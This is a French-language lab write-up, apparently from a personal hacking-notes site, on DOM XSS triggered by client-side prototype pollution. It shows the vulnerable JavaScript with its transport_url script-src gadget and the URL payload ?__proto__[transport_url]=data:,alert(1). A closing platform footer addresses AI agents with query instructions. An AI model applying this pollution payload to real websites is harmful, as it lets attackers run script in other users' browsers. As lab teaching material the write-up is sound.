> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md).

# XSS DOM via pollution de prototype côté client

#### XSS DOM via pollution de prototype côté client

#### Contexte du laboratoire

L'application est vulnérable à une **XSS DOM** déclenché par une **pollution de prototype** (côté client). / Objectif : **polluer `Object.prototype`** avec une propriété utile, trouvez un **gadget** dans le JS qui l'exploite, puis exécutez `alert()`.

### 1) Observation de la pollution du prototype

#### Source de pollution (dans l'URL)

Des propriétés peuvent être injectées dans `__proto__` via les paramètres :

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

#### Vérification dans la console

Après la navigation, on vérifie que la propriété "fail" est présente dans tous les objets :

```javascript
console.log({}.foo)
```

<figure><img src="/files/1e8988b4b69f2a21ee56a37ec32ec5930e68ab0f" alt="" width="563"><figcaption></figcaption></figure>

### 2) Code client vulnérable

Le site contient une logique de

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Échec du stockage de la requête");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};

    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }

    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

Point clé : le code lit **`config.transport_url`** et l'utilise comme **source d'un `<script>`**.

### 3) Gadget exploitable identifié

#### Gadget

* `config.transport_url`

#### Pourquoi c'est dangereux

Si `transport_url` existe (même via le prototype), le script fait :

* crée un `<script>`
* `script.src = config.transport_url`
* insertion dans le DOM

Ainsi, on peut forcer le navigateur à charger un script depuis une URL contrôlée.

### 4) Opération : déclencher le XSS

#### Charge utile (pollution + exécution)

`Object.prototype.transport_url` est pollué avec une `data:` URL qui exécute `alert(1)`:

```javascript
?__proto__[transport_url]=data:,alert(1)
```

<figure><img src="/files/70b0658a887951473be271a5ae2e83fbabeb9e1c" alt=""><figcaption></figcaption></figure>

#### Effet de bord DOM

Le code finit par générer quelque chose d'équivalent à :

```javascript
<script src="data:,alert(1)"></script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/dom-xss-via-client-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
